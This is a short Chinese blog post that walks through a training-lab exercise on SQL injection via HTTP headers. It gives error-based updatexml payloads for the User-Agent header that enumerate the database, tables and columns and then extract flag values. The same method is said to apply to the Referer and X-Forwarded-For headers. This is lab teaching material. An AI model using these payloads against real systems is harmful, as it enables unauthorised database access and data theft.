封神台SQL注入-基础靶场1-Head注入

原创

原味瓜子、 于 2020-10-10 16:11:18 发布 791 收藏

分类专栏： SQL注入 文章标签： head注入 sql注入 hackbar

本文链接：https://blog.csdn.net/chenzzhenguo/article/details/108976459


SQL注入 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

文章目录

Head注入（一）

有没有，用hackbar试一下即可

注入过程

更改user-agent

```
//爆库
'or updatexml(1,concat(0x7e,(select database())),1),1)#
//爆表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=d
atabase())),1),1)#
//爆字段
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema
=database() and table_name='flag_head')),1),1)#
//获取字段值
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 3,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 4,1)),1),1)#
//因为updatexml函数报错输出的内容有限，所以不能使用group_concat一行输出
```

Head注入（二）

更改referer

注入过程和语句同head（一）

Head注入（三）

加上XFF
注入过程和语句同head（一）